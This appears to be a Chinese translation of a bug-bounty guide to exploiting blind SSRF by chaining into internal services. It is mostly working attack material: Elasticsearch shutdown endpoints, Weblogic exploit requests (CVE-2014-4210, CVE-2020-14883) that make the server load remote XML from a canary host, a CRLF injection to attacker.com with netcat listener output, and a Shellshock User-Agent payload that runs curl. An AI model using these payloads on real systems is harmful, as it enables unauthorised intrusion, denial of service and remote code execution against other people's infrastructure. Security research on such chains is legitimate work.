服务端请求伪造发生在当你能够迫使服务器代表你发起任意请求时。由于请求是由服务器发起的,因此有可能根据服务器在网络中的位置访问内部资源。在云环境中,由于存在可能包含敏感凭证或密钥的元数据端点,SSRF 构成了更重大的风险。
在利用服务端请求伪造时,我们常常会发现自己处于无法读取响应的情况。在行业中,这种行为通常被称为“盲 SSRF”。在这种情况下,我们如何证明其影响?这是由 Justin Gardner 在 Twitter 上引发的一场有趣的讨论:
最近我发现了大量的盲 SSRF。大家过去曾使用过哪些一次性远程代码执行(RCE)作为切入点?我可以访问一些 Kafka 和其他很多东西。@nnwakelam @thedawgyg
— Justin Gardner (@Rhynorater) 2021年1月13日
如果你能够访问内部资源,有多种潜在的利用链可以执行以证明影响。这篇博文试图详细阐述在利用盲 SSRF 时每种已知的利用链,并将随着更多技术的发现和分享而更新。
如果我们遗漏了任何技术,请通过 Twitter 或私信告诉我们:@assetnote,我们将将其添加到这篇博文中。
我倾向于称它们为 SSRF 金丝雀,当将盲 SSRF 链接到内部另一个能够进行外部调用的 SSRF,或通过应用特定的开放重定向或盲 XXE 时。Confluence、Artifactory、Jenkins 和 JAMF 都有一些效果不错的例子。
— Frans Rosén (@fransrosen) 2021年1月13日
为了验证你可以与内部服务或应用程序交互,你可以利用“SSRF 金丝雀”。
这意味着我们可以请求一个内部 URL,该 URL 会执行另一个 SSRF 并调用你的金丝雀主机。如果你收到对你的金丝雀主机的请求,说明你成功命中了一个也能够发起出站请求的内部服务。
这是一种有效的方法,用于验证 SSRF 漏洞是否能够访问内部网络或应用程序,以及验证内部网络中是否存在某些软件。你还可以根据 SSRF 金丝雀所在的位置,可能地将其用作跳板,访问内部网络中更敏感的部分。
目标是尽可能多地找到内部主机,可以利用 DNS 数据源来查找所有指向内部主机的记录。
在云环境中,我们经常看到指向内部 VPC 内主机的 ELB。根据你目标资产所在的 VPC,可能可以访问同一 VPC 内的其他主机。
例如,考虑以下从 DNS 数据源中发现的主机:```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82
你可以假设 `es` 代表 Elasticsearch,然后对此主机进行进一步攻击。你也可以将所有这些盲 SSRF 载荷喷洒到通过此方法发现的所有“内部”主机上。这通常很有效。
为了找到更多内部主机,我建议你将所有 DNS 数据收集起来,然后使用类似 [AltDNS](https://github.com/infosec-au/altdns) 的工具生成排列组合,并用 [快速 DNS 爆破器](https://github.com/blechschmidt/massdns) 进行解析。
完成此步骤后,识别所有新发现的内部主机,并将它们作为盲 SSRF 链的一部分使用。
## 侧信道泄露
在利用盲 SSRF 漏洞时,你可能能够泄露一些关于返回响应的信息。例如,假设你通过 XXE 实现了盲 SSRF,错误消息可能表明是否:
- 返回了响应
`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`
vs.
- 主机和端口不可达
`Error parsing request: System.Net.WebException: Unable to connect to the remote server`
类似地,除了 XXE 之外,Web 应用程序也可能存在侧信道泄露,这可以通过检查以下方面的差异来确定:
- **响应状态码**:
在线内部资产:端口返回 `200 OK`,而离线内部资产:端口返回 `500 Internal Server Error`
- **响应内容**:
根据你尝试请求的 URL 是否可达,响应大小(字节)会变小或变大。
- **响应时间**:
根据你尝试请求的 URL 是否可达,响应时间会变慢或变快。
---------------
# 技巧
**可通过 HTTP(s) 实现**
- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [其他 Atlassian 产品](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)
**可通过 Gopher 实现**
- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)
**工具**
- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)
----------------------------------
**可通过 HTTP(s) 实现**
<div id="elasticsearch"></div>
## Elasticsearch
**常见绑定端口:9200**
当 Elasticsearch 部署在内部网络时,通常不需要身份验证。
如果你拥有部分盲 SSRF 能力,可以判断状态码,请检查以下端点是否返回 200:```http
/_cluster/health
/_cat/indices
/_cat/health
如果你有一个盲SSRF,可以发送POST请求,你可以通过向以下路径发送POST请求来关闭Elasticsearch实例:
注意:_shutdown API已从Elasticsearch 2.x及以上版本中移除。此功能仅适用于Elasticsearch 1.6及以下版本:```http
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
<div id="weblogic"></div>
## Weblogic
**常用绑定端口:80, 443 (SSL), 7001, 8888**
**SSRF Canary: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
此端点也容易受到 CRLF injection 攻击:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
将产生以下请求:``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive
sdf**SSRF Canary: CVE-2020-14883**
来自 [这里](https://forum.90sec.com/t/topic/1412).
Linux:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Windows:```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
<div id="consul"></div>
## Hashicorp Consul
**常用绑定端口:8500、8501(SSL)**
相关文章可在[此处](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html)找到。
<div id="shellshock"></div>
## Shellshock
**常用绑定端口:80、443(SSL)、8080**
为了有效测试Shellshock,您可能需要添加包含有效负载的请求头。以下CGI路径值得尝试:
待测试的CGI路径简要列表:
[包含路径的Gist](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4)。
**SSRF Canary:通过User Agent进行Shellshock**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
常用绑定端口:80, 8080, 8888, 8082
Apache Druid 的 API 参考文档请参见此处。